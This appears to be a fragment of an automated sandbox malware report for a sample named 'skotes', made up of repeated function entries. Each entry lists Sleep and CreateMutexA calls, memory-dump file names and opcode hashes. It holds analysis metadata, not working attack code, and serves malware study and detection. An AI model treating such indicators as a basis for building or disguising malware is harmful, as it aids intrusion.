Instruction ID: b55430fd45911aafbf65b08cc6e259a7e57fe7fd1db976b7a954be43b7e9d08e
Opcode Fuzzy Hash: f18ea144acfd6876bd55ecf4e68d0d05d34c13c8292718e55e7f5fa430e6a02a
Instruction Fuzzy Hash: 32E08C3104110CAFCE367B19C849AAD3BE9EB61745F114880F80846222CBA9EDA2C680

Function 00B89BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2212595295.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212616596.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212698575.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212722785.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212748647.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212881177.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212911404.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213058348.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213081792.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213099332.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213119970.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213142325.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213164561.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213193073.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213214678.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213249882.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213269198.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213297921.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213347437.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213369914.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213394298.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213420667.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213443978.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213467870.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213496984.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213519853.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213542967.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213565181.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213588695.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213620092.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213649557.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213678014.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213705079.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213741370.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213758244.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213842451.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213870900.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213897006.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213920919.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213946530.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213977085.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214002671.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214026456.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9526f95cab84faf5f9f52a31eb41dbf8774913f84d89f9f12e0bb845c2b3b86b
Instruction ID: 8be872830f53d788833ea367f16aff7841898361554b46051707466f8316e508
Opcode Fuzzy Hash: 9526f95cab84faf5f9f52a31eb41dbf8774913f84d89f9f12e0bb845c2b3b86b
Instruction Fuzzy Hash: 00311631A042049BEF08FB78DD897BEBBE2EB86310F248699E054972E5C7769981C751

Function 00B89F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2212595295.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212616596.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212698575.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212722785.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212748647.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212881177.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212911404.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213058348.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213081792.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213099332.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213119970.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213142325.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213164561.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213193073.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213214678.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213249882.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213269198.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213297921.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213347437.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213369914.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213394298.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213420667.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213443978.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213467870.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213496984.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213519853.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213542967.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213565181.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213588695.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213620092.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213649557.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213678014.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213705079.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213741370.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213758244.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213842451.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213870900.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213897006.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213920919.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213946530.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213977085.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214002671.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214026456.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 89bb0512f61f5d08c0e8d7fc9bb4b443fbd0f8dc1c0a108f63d8bb28ac6de998
Instruction ID: bf929924ef89005e86ccd8ea64e8b0968ce774bc4fd82493aee37faa4846236f
Opcode Fuzzy Hash: 89bb0512f61f5d08c0e8d7fc9bb4b443fbd0f8dc1c0a108f63d8bb28ac6de998
Instruction Fuzzy Hash: CC3148316041449BFF08FB78DC997BDB7E2EB86310F24469AE058DB2E1C775A980C752

Function 00B8A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2212595295.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212616596.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212698575.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212722785.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212748647.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212881177.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212911404.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213058348.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213081792.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213099332.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213119970.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213142325.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213164561.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213193073.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213214678.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213249882.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213269198.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213297921.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213347437.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213369914.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213394298.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213420667.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213443978.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213467870.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213496984.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213519853.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213542967.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213565181.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213588695.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213620092.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213649557.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213678014.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213705079.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213741370.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213758244.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213842451.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213870900.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213897006.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213920919.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213946530.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213977085.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214002671.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214026456.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ad6ddaf07ec608a1c499d54205bff906a39690abff7572fe78d5bf781ef63a40
Instruction ID: e08ae85185276f904ae5474a798190118b17b5240c3d31930589d522e862b850
Opcode Fuzzy Hash: ad6ddaf07ec608a1c499d54205bff906a39690abff7572fe78d5bf781ef63a40
Instruction Fuzzy Hash: 1F314A316041049BFB08FBB8CCC9BADB7E2DB86314F2446DAE054A73E1C775A980C752

Function 00B8A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2212595295.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212616596.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212698575.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212722785.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212748647.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212881177.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212911404.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213058348.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213081792.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213099332.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213119970.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213142325.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213164561.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213193073.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213214678.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213249882.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213269198.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213297921.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213347437.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213369914.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213394298.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213420667.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213443978.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213467870.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213496984.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213519853.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213542967.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213565181.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213588695.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213620092.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213649557.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213678014.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213705079.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213741370.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213758244.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213842451.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213870900.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213897006.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213920919.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213946530.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213977085.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214002671.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214026456.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1b436603dd7160af11bbd0c66cd5cddc25ec2eda54cc37e708eb805b1b4a9440
Instruction ID: fd3cbdfcf7308cb68a7f4e7c87afe8bf00679948b52295fe51ed35e5fcfe3b32
Opcode Fuzzy Hash: 1b436603dd7160af11bbd0c66cd5cddc25ec2eda54cc37e708eb805b1b4a9440
Instruction Fuzzy Hash: C5312A31A041449BFB18FB78DCC9BADB7E2EBC6310F24469AE054A72E1D7759980C752

Function 00B8A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2212595295.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212616596.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212698575.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212722785.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212748647.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212881177.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212911404.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213058348.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213081792.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213099332.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213119970.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213142325.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213164561.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213193073.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213214678.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213249882.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213269198.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213297921.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213347437.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213369914.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213394298.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213420667.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213443978.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213467870.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213496984.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213519853.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213542967.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213565181.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213588695.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213620092.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213649557.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213678014.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213705079.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213741370.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213758244.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213842451.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213870900.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213897006.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213920919.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213946530.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213977085.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214002671.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214026456.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
